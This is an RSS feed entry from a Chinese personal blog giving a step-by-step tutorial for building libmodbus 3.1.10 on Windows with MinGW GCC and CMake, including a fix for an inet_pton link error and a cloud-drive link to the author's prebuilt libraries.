<?xml version="1.0" encoding="utf-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" version="2.0"><channel><title>Mr.Axin</title><link>http://blog.write.yingkecut.cn/</link><description>正直和忠诚+信念和恒心+勤奋和谦虚+包容和互勉＝积极的人生</description><item><title>MinGW GCC Windows下编译libmodbus</title><link>http://blog.write.yingkecut.cn/?id=35</link><description>&lt;p style=&quot;margin: 10px auto; padding: 0px; color: rgb(17, 17, 17); font-family: &amp;quot;PingFang SC&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; font-size: 13px; text-wrap-mode: wrap; background-color: rgb(255, 255, 255);&quot;&gt;最近项目从MSVC切换到GCC，libmodbus官网没提供MinGW下GCC 如何编译，官网推荐在类UNIX环境下MSYS下编译，个人更偏向直接拿源文件编译。&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; color: rgb(17, 17, 17); font-family: &amp;quot;PingFang SC&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; font-size: 13px; text-wrap-mode: wrap; background-color: rgb(255, 255, 255);&quot;&gt;编译libmodbus版本: libmodbus-3.1.10&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; color: rgb(17, 17, 17); font-family: &amp;quot;PingFang SC&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; font-size: 13px; text-wrap-mode: wrap; background-color: rgb(255, 255, 255);&quot;&gt;GCC编译器版本:&amp;nbsp;5.3.0 (i686-posix-dwarf-rev0, Built by MinGW-W64 project)&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; color: rgb(17, 17, 17); font-family: &amp;quot;PingFang SC&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; font-size: 13px; text-wrap-mode: wrap; background-color: rgb(255, 255, 255);&quot;&gt;CMake版本:&amp;nbsp;3.29.0&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; color: rgb(17, 17, 17); font-family: &amp;quot;PingFang SC&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; font-size: 13px; text-wrap-mode: wrap; background-color: rgb(255, 255, 255);&quot;&gt;在随笔最下边提供已编译好的库文件.&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; color: rgb(17, 17, 17); font-family: &amp;quot;PingFang SC&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; font-size: 13px; text-wrap-mode: wrap; background-color: rgb(255, 255, 255);&quot;&gt;1. 从Github下载3.1.10版本:&amp;nbsp;&lt;a title=&quot;https://github.com/stephane/libmodbus/tree/v3.1.10&quot; href=&quot;https://github.com/stephane/libmodbus/tree/v3.1.10&quot; target=&quot;_blank&quot; rel=&quot;noopener nofollow&quot; style=&quot;margin: 0px; padding: 0px; color: rgb(0, 102, 204);&quot;&gt;https://github.com/stephane/libmodbus/tree/v3.1.10&lt;/a&gt;&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; color: rgb(17, 17, 17); font-family: &amp;quot;PingFang SC&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; font-size: 13px; text-wrap-mode: wrap; background-color: rgb(255, 255, 255);&quot;&gt;&amp;nbsp;2. 下载完成后，解压，并创建Build目录，方便用CMake进行编译。&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; color: rgb(17, 17, 17); font-family: &amp;quot;PingFang SC&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; font-size: 13px; text-wrap-mode: wrap; background-color: rgb(255, 255, 255);&quot;&gt;&lt;img alt=&quot;&quot; width=&quot;448&quot; height=&quot;180&quot; loading=&quot;lazy&quot; data-src=&quot;http://blog.write.yingkecut.cn/zb_users/upload/2026/04/20260401101946177500998624660.png&quot; class=&quot;lazyloaded medium-zoom-image&quot; src=&quot;http://blog.write.yingkecut.cn/zb_users/upload/2026/04/20260401101946177500998624660.png&quot; style=&quot;margin: 0px; padding: 0px; border: 0px; max-width: 100%; height: auto !important; cursor: zoom-in; transition: transform 300ms cubic-bezier(0.2, 0, 0.2, 1) !important;&quot;/&gt;&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; color: rgb(17, 17, 17); font-family: &amp;quot;PingFang SC&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; font-size: 13px; text-wrap-mode: wrap; background-color: rgb(255, 255, 255);&quot;&gt;在Build下建立libmodbus目录，存放libmodbus源代码:&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; color: rgb(17, 17, 17); font-family: &amp;quot;PingFang SC&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; font-size: 13px; text-wrap-mode: wrap; background-color: rgb(255, 255, 255);&quot;&gt;&lt;img alt=&quot;&quot; width=&quot;490&quot; height=&quot;235&quot; loading=&quot;lazy&quot; data-src=&quot;http://blog.write.yingkecut.cn/zb_users/upload/2026/04/20260401101946177500998634481.png&quot; class=&quot;lazyloaded medium-zoom-image&quot; src=&quot;http://blog.write.yingkecut.cn/zb_users/upload/2026/04/20260401101946177500998634481.png&quot; style=&quot;margin: 0px; padding: 0px; border: 0px; max-width: 100%; height: auto !important; cursor: zoom-in; transition: transform 300ms cubic-bezier(0.2, 0, 0.2, 1) !important;&quot;/&gt;&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; color: rgb(17, 17, 17); font-family: &amp;quot;PingFang SC&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; font-size: 13px; text-wrap-mode: wrap; background-color: rgb(255, 255, 255);&quot;&gt;&amp;nbsp;&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; color: rgb(17, 17, 17); font-family: &amp;quot;PingFang SC&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; font-size: 13px; text-wrap-mode: wrap; background-color: rgb(255, 255, 255);&quot;&gt;&amp;nbsp;3.&amp;nbsp; 进入libmodbus-3.1.10\libmodbus-3.1.10\src\win32下:&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; color: rgb(17, 17, 17); font-family: &amp;quot;PingFang SC&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; font-size: 13px; text-wrap-mode: wrap; background-color: rgb(255, 255, 255);&quot;&gt;&lt;img alt=&quot;&quot; width=&quot;675&quot; height=&quot;289&quot; loading=&quot;lazy&quot; data-src=&quot;http://blog.write.yingkecut.cn/zb_users/upload/2026/04/20260401101946177500998614664.png&quot; class=&quot;lazyloaded medium-zoom-image&quot; src=&quot;http://blog.write.yingkecut.cn/zb_users/upload/2026/04/20260401101946177500998614664.png&quot; style=&quot;margin: 0px; padding: 0px; border: 0px; max-width: 100%; height: auto !important; cursor: zoom-in; transition: transform 300ms cubic-bezier(0.2, 0, 0.2, 1) !important;&quot;/&gt;&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; color: rgb(17, 17, 17); font-family: &amp;quot;PingFang SC&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; font-size: 13px; text-wrap-mode: wrap; background-color: rgb(255, 255, 255);&quot;&gt;执行configure.js,主要用来生成针对windows的modbus-version.h、config.h文件，在编译时会用到&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; color: rgb(17, 17, 17); font-family: &amp;quot;PingFang SC&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; font-size: 13px; text-wrap-mode: wrap; background-color: rgb(255, 255, 255);&quot;&gt;&amp;nbsp;&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; color: rgb(17, 17, 17); font-family: &amp;quot;PingFang SC&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; font-size: 13px; text-wrap-mode: wrap; background-color: rgb(255, 255, 255);&quot;&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; data-src=&quot;http://blog.write.yingkecut.cn/zb_users/upload/2026/04/20260401101946177500998639315.png&quot; class=&quot; lazyloaded&quot; src=&quot;http://blog.write.yingkecut.cn/zb_users/upload/2026/04/20260401101946177500998639315.png&quot; style=&quot;margin: 0px; padding: 0px; border: 0px; max-width: 100%; height: auto !important;&quot;/&gt;&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; color: rgb(17, 17, 17); font-family: &amp;quot;PingFang SC&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; font-size: 13px; text-wrap-mode: wrap; background-color: rgb(255, 255, 255);&quot;&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; data-src=&quot;http://blog.write.yingkecut.cn/zb_users/upload/2026/04/20260401101946177500998666312.png&quot; class=&quot; lazyloaded&quot; src=&quot;http://blog.write.yingkecut.cn/zb_users/upload/2026/04/20260401101946177500998666312.png&quot; style=&quot;margin: 0px; padding: 0px; border: 0px; max-width: 100%; height: auto !important;&quot;/&gt;&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; color: rgb(17, 17, 17); font-family: &amp;quot;PingFang SC&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; font-size: 13px; text-wrap-mode: wrap; background-color: rgb(255, 255, 255);&quot;&gt;&amp;nbsp;&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; color: rgb(17, 17, 17); font-family: &amp;quot;PingFang SC&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; font-size: 13px; text-wrap-mode: wrap; background-color: rgb(255, 255, 255);&quot;&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; data-src=&quot;http://blog.write.yingkecut.cn/zb_users/upload/2026/04/20260401101947177500998780411.png&quot; class=&quot; lazyloaded&quot; src=&quot;http://blog.write.yingkecut.cn/zb_users/upload/2026/04/20260401101947177500998780411.png&quot; style=&quot;margin: 0px; padding: 0px; border: 0px; max-width: 100%; height: auto !important;&quot;/&gt;&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; color: rgb(17, 17, 17); font-family: &amp;quot;PingFang SC&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; font-size: 13px; text-wrap-mode: wrap; background-color: rgb(255, 255, 255);&quot;&gt;&amp;nbsp;&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; color: rgb(17, 17, 17); font-family: &amp;quot;PingFang SC&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; font-size: 13px; text-wrap-mode: wrap; background-color: rgb(255, 255, 255);&quot;&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; data-src=&quot;http://blog.write.yingkecut.cn/zb_users/upload/2026/04/20260401101947177500998723046.png&quot; class=&quot;lazyloaded medium-zoom-image&quot; src=&quot;http://blog.write.yingkecut.cn/zb_users/upload/2026/04/20260401101947177500998723046.png&quot; style=&quot;margin: 0px; padding: 0px; border: 0px; max-width: 100%; height: auto !important; cursor: zoom-in; transition: transform 300ms cubic-bezier(0.2, 0, 0.2, 1) !important;&quot;/&gt;&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; color: rgb(17, 17, 17); font-family: &amp;quot;PingFang SC&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; font-size: 13px; text-wrap-mode: wrap; background-color: rgb(255, 255, 255);&quot;&gt;4. 进入src下，将这些文件复制到Build\libmodbus下:&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; color: rgb(17, 17, 17); font-family: &amp;quot;PingFang SC&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; font-size: 13px; text-wrap-mode: wrap; background-color: rgb(255, 255, 255);&quot;&gt;&lt;img alt=&quot;&quot; width=&quot;666&quot; height=&quot;438&quot; loading=&quot;lazy&quot; data-src=&quot;http://blog.write.yingkecut.cn/zb_users/upload/2026/04/20260401101947177500998762329.png&quot; class=&quot;lazyloaded medium-zoom-image&quot; src=&quot;http://blog.write.yingkecut.cn/zb_users/upload/2026/04/20260401101947177500998762329.png&quot; style=&quot;margin: 0px; padding: 0px; border: 0px; max-width: 100%; height: auto !important; cursor: zoom-in; transition: transform 300ms cubic-bezier(0.2, 0, 0.2, 1) !important;&quot;/&gt;&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; color: rgb(17, 17, 17); font-family: &amp;quot;PingFang SC&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; font-size: 13px; text-wrap-mode: wrap; background-color: rgb(255, 255, 255);&quot;&gt;&lt;span style=&quot;margin: 0px; padding: 0px; color: #FF0000;&quot;&gt;注意: modbus-version.h 头文件只有执行win32下的configure.js才会生成!&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; color: rgb(17, 17, 17); font-family: &amp;quot;PingFang SC&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; font-size: 13px; text-wrap-mode: wrap; background-color: rgb(255, 255, 255);&quot;&gt;&amp;nbsp;在将win32下的config.h文件复制到build/libmodbus下，最后build/libmodbus目录，libmodbus编译所需要的所有源文件非常精简:&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; color: rgb(17, 17, 17); font-family: &amp;quot;PingFang SC&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; font-size: 13px; text-wrap-mode: wrap; background-color: rgb(255, 255, 255);&quot;&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; data-src=&quot;http://blog.write.yingkecut.cn/zb_users/upload/2026/04/20260401101947177500998728426.png&quot; class=&quot;lazyloaded medium-zoom-image&quot; src=&quot;http://blog.write.yingkecut.cn/zb_users/upload/2026/04/20260401101947177500998728426.png&quot; style=&quot;margin: 0px; padding: 0px; border: 0px; max-width: 100%; height: auto !important; cursor: zoom-in; transition: transform 300ms cubic-bezier(0.2, 0, 0.2, 1) !important;&quot;/&gt;&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; color: rgb(17, 17, 17); font-family: &amp;quot;PingFang SC&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; font-size: 13px; text-wrap-mode: wrap; background-color: rgb(255, 255, 255);&quot;&gt;5. 现在直接编译会报错:&amp;nbsp;undefined reference to `inet_pton‘，需要打开modbus-tcp.c，在&lt;/p&gt;&lt;pre style=&quot;margin: 10px auto; padding: 0px; transition-duration: 0.2s; transition-property: background, font-size, border-color, border-radius, border-width, padding, margin, color; overflow: auto; color: rgb(17, 17, 17); font-size: 13px; background-color: rgb(255, 255, 255);&quot;&gt;#if&amp;nbsp;defined(_WIN32)&lt;/pre&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; color: rgb(17, 17, 17); font-family: &amp;quot;PingFang SC&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; font-size: 13px; text-wrap-mode: wrap; background-color: rgb(255, 255, 255);&quot;&gt;&amp;nbsp;上添加:&lt;/p&gt;&lt;pre style=&quot;margin: 10px auto; padding: 0px; transition-duration: 0.2s; transition-property: background, font-size, border-color, border-radius, border-width, padding, margin, color; overflow: auto; color: rgb(17, 17, 17); font-size: 13px; background-color: rgb(255, 255, 255);&quot;&gt;#define&amp;nbsp;_WIN32_WINNT&amp;nbsp;0x0600&lt;/pre&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; color: rgb(17, 17, 17); font-family: &amp;quot;PingFang SC&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; font-size: 13px; text-wrap-mode: wrap; background-color: rgb(255, 255, 255);&quot;&gt;&lt;img alt=&quot;&quot; width=&quot;461&quot; height=&quot;310&quot; loading=&quot;lazy&quot; data-src=&quot;http://blog.write.yingkecut.cn/zb_users/upload/2026/04/20260401101947177500998779665.png&quot; class=&quot;lazyloaded medium-zoom-image&quot; src=&quot;http://blog.write.yingkecut.cn/zb_users/upload/2026/04/20260401101947177500998779665.png&quot; style=&quot;margin: 0px; padding: 0px; border: 0px; max-width: 100%; height: auto !important; cursor: zoom-in; transition: transform 300ms cubic-bezier(0.2, 0, 0.2, 1) !important;&quot;/&gt;&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; color: rgb(17, 17, 17); font-family: &amp;quot;PingFang SC&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; font-size: 13px; text-wrap-mode: wrap; background-color: rgb(255, 255, 255);&quot;&gt;&amp;nbsp;6. 在Build下创建CMakeLists.txt文件&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; color: rgb(17, 17, 17); font-family: &amp;quot;PingFang SC&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; font-size: 13px; text-wrap-mode: wrap; background-color: rgb(255, 255, 255);&quot;&gt;&lt;img alt=&quot;&quot; width=&quot;586&quot; height=&quot;497&quot; loading=&quot;lazy&quot; data-src=&quot;http://blog.write.yingkecut.cn/zb_users/upload/2026/04/20260401101947177500998711472.png&quot; class=&quot;lazyloaded medium-zoom-image&quot; src=&quot;http://blog.write.yingkecut.cn/zb_users/upload/2026/04/20260401101947177500998711472.png&quot; style=&quot;margin: 0px; padding: 0px; border: 0px; max-width: 100%; height: auto !important; cursor: zoom-in; transition: transform 300ms cubic-bezier(0.2, 0, 0.2, 1) !important;&quot;/&gt;&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; color: rgb(17, 17, 17); font-family: &amp;quot;PingFang SC&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; font-size: 13px; text-wrap-mode: wrap; background-color: rgb(255, 255, 255);&quot;&gt;&amp;nbsp;7. 配置好MinGW环境&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; color: rgb(17, 17, 17); font-family: &amp;quot;PingFang SC&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; font-size: 13px; text-wrap-mode: wrap; background-color: rgb(255, 255, 255);&quot;&gt;将MinGW\bin下的路径添加到环境变量,保证打开cmd，gcc、g++、mingw32-make可以正常执行。&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; color: rgb(17, 17, 17); font-family: &amp;quot;PingFang SC&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; font-size: 13px; text-wrap-mode: wrap; background-color: rgb(255, 255, 255);&quot;&gt;在Build下打开cmd执行:&lt;/p&gt;&lt;div class=&quot;cnblogs_code&quot; style=&quot;margin: 5px 0px; padding: 5px; background-color: rgb(245, 245, 245); border: 1px solid rgb(204, 204, 204); overflow: auto; text-wrap-mode: wrap; font-family: &amp;quot;Courier New&amp;quot; !important; font-size: 12px !important;&quot;&gt;&lt;pre style=&quot;margin-top: 0px; margin-bottom: 0px; padding: 0px; transition-duration: 0.2s; transition-property: background, font-size, border-color, border-radius, border-width, padding, margin, color; overflow: auto; font-family: &amp;quot;Courier New&amp;quot;, serif; overflow-wrap: break-word;&quot;&gt;cmake&amp;nbsp;-G&amp;quot;MinGW&amp;nbsp;Makefiles&amp;quot;&amp;nbsp;.&lt;/pre&gt;&lt;/div&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; color: rgb(17, 17, 17); font-family: &amp;quot;PingFang SC&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; font-size: 13px; text-wrap-mode: wrap; background-color: rgb(255, 255, 255);&quot;&gt;&lt;img alt=&quot;&quot; width=&quot;1102&quot; height=&quot;561&quot; loading=&quot;lazy&quot; data-src=&quot;http://blog.write.yingkecut.cn/zb_users/upload/2026/04/20260401101947177500998781325.png&quot; class=&quot;lazyloaded medium-zoom-image&quot; src=&quot;http://blog.write.yingkecut.cn/zb_users/upload/2026/04/20260401101947177500998781325.png&quot; style=&quot;margin: 0px; padding: 0px; border: 0px; max-width: 100%; height: auto !important; cursor: zoom-in; transition: transform 300ms cubic-bezier(0.2, 0, 0.2, 1) !important;&quot;/&gt;&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; color: rgb(17, 17, 17); font-family: &amp;quot;PingFang SC&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; font-size: 13px; text-wrap-mode: wrap; background-color: rgb(255, 255, 255);&quot;&gt;&amp;nbsp;执行mingw32-make：&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; color: rgb(17, 17, 17); font-family: &amp;quot;PingFang SC&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; font-size: 13px; text-wrap-mode: wrap; background-color: rgb(255, 255, 255);&quot;&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; data-src=&quot;http://blog.write.yingkecut.cn/zb_users/upload/2026/04/20260401101947177500998730318.png&quot; class=&quot;lazyloaded medium-zoom-image&quot; src=&quot;http://blog.write.yingkecut.cn/zb_users/upload/2026/04/20260401101947177500998730318.png&quot; style=&quot;margin: 0px; padding: 0px; border: 0px; max-width: 100%; height: auto !important; cursor: zoom-in; transition: transform 300ms cubic-bezier(0.2, 0, 0.2, 1) !important;&quot;/&gt;&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; color: rgb(17, 17, 17); font-family: &amp;quot;PingFang SC&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; font-size: 13px; text-wrap-mode: wrap; background-color: rgb(255, 255, 255);&quot;&gt;&amp;nbsp;&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; color: rgb(17, 17, 17); font-family: &amp;quot;PingFang SC&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; font-size: 13px; text-wrap-mode: wrap; background-color: rgb(255, 255, 255);&quot;&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; data-src=&quot;http://blog.write.yingkecut.cn/zb_users/upload/2026/04/20260401101947177500998771148.png&quot; class=&quot;lazyloaded medium-zoom-image&quot; src=&quot;http://blog.write.yingkecut.cn/zb_users/upload/2026/04/20260401101947177500998771148.png&quot; style=&quot;margin: 0px; padding: 0px; border: 0px; max-width: 100%; height: auto !important; cursor: zoom-in; transition: transform 300ms cubic-bezier(0.2, 0, 0.2, 1) !important;&quot;/&gt;&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; color: rgb(17, 17, 17); font-family: &amp;quot;PingFang SC&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; font-size: 13px; text-wrap-mode: wrap; background-color: rgb(255, 255, 255);&quot;&gt;&amp;nbsp;8.Build路径下得到库文件&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; color: rgb(17, 17, 17); font-family: &amp;quot;PingFang SC&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; font-size: 13px; text-wrap-mode: wrap; background-color: rgb(255, 255, 255);&quot;&gt;&lt;img alt=&quot;&quot; width=&quot;815&quot; height=&quot;346&quot; loading=&quot;lazy&quot; data-src=&quot;http://blog.write.yingkecut.cn/zb_users/upload/2026/04/20260401101947177500998747801.png&quot; class=&quot;lazyloaded medium-zoom-image&quot; src=&quot;http://blog.write.yingkecut.cn/zb_users/upload/2026/04/20260401101947177500998747801.png&quot; style=&quot;margin: 0px; padding: 0px; border: 0px; max-width: 100%; height: auto !important; cursor: zoom-in; transition: transform 300ms cubic-bezier(0.2, 0, 0.2, 1) !important;&quot;/&gt;&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; color: rgb(17, 17, 17); font-family: &amp;quot;PingFang SC&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; font-size: 13px; text-wrap-mode: wrap; background-color: rgb(255, 255, 255);&quot;&gt;&amp;nbsp;9. 创建include，将libmodbus下的所有头文件(.h)复制到include中:&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; color: rgb(17, 17, 17); font-family: &amp;quot;PingFang SC&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; font-size: 13px; text-wrap-mode: wrap; background-color: rgb(255, 255, 255);&quot;&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; data-src=&quot;http://blog.write.yingkecut.cn/zb_users/upload/2026/04/20260401101947177500998739692.png&quot; class=&quot;lazyloaded medium-zoom-image&quot; src=&quot;http://blog.write.yingkecut.cn/zb_users/upload/2026/04/20260401101947177500998739692.png&quot; style=&quot;margin: 0px; padding: 0px; border: 0px; max-width: 100%; height: auto !important; cursor: zoom-in; transition: transform 300ms cubic-bezier(0.2, 0, 0.2, 1) !important;&quot;/&gt;&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; color: rgb(17, 17, 17); font-family: &amp;quot;PingFang SC&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; font-size: 13px; text-wrap-mode: wrap; background-color: rgb(255, 255, 255);&quot;&gt;&amp;nbsp;&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; color: rgb(17, 17, 17); font-family: &amp;quot;PingFang SC&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; font-size: 13px; text-wrap-mode: wrap; background-color: rgb(255, 255, 255);&quot;&gt;&amp;nbsp;最后已把编译好的库文件放到了蓝奏云中,因为GCC编译器各种版本，如果有时间推荐自行编译。编译很简单。&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; color: rgb(17, 17, 17); font-family: &amp;quot;PingFang SC&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; font-size: 13px; text-wrap-mode: wrap; background-color: rgb(255, 255, 255);&quot;&gt;https://wwp.lanzoue.com/iLgNd23o6erc&lt;br style=&quot;margin: 0px; padding: 0px;&quot;/&gt;密码:2jwb&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; color: rgb(17, 17, 17); font-family: &amp;quot;PingFang SC&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; font-size: 13px; text-wrap-mode: wrap; background-color: rgb(255, 255, 255);&quot;&gt;&amp;nbsp;&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; color: rgb(17, 17, 17); font-family: &amp;quot;PingFang SC&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; font-size: 13px; text-wrap-mode: wrap; background-color: rgb(255, 255, 255);&quot;&gt;参考:&amp;nbsp;https://blog.csdn.net/m0_48388579/article/details/132554634&amp;nbsp; 